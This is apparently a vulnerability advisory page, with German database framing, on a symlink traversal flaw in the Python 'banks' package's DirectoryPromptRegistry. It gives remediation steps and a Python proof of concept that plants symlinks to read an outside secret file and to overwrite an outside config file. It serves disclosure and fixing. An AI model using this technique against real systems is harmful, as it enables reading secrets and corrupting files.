Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load().- In
_scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. - In
set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Remediation
- In
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path. - In
_scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root). - In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | banks | < 2.5.1 | 2.5.1 |
Verweise
- https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv
- https://github.com/masci/banks/pull/79
- https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f
- https://github.com/masci/banks
- https://github.com/masci/banks/releases/tag/v2.5.1
- https://pypi.org/project/banks
- https://github.com/advisories/GHSA-556j-vv39-8rqv
- https://nvd.nist.gov/vuln/detail/CVE-2026-107716
- Schwäche (CWE)
CWE-22, CWE-59- Plattform
- Python (PyPI)
- Paket
banks- Veröffentlicht
- 08.10.2026
- Aktualisiert
- 15.10.2026 18:17
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-4201 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-556j-vv39-8rqv - CC BY 4.0
Schwachstellenhistorie: banks
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 4
- Erste → letzte
- 05.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 1
- Mittel 3
Veröffentlichungen pro Jahr
- 2026: 4
-
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.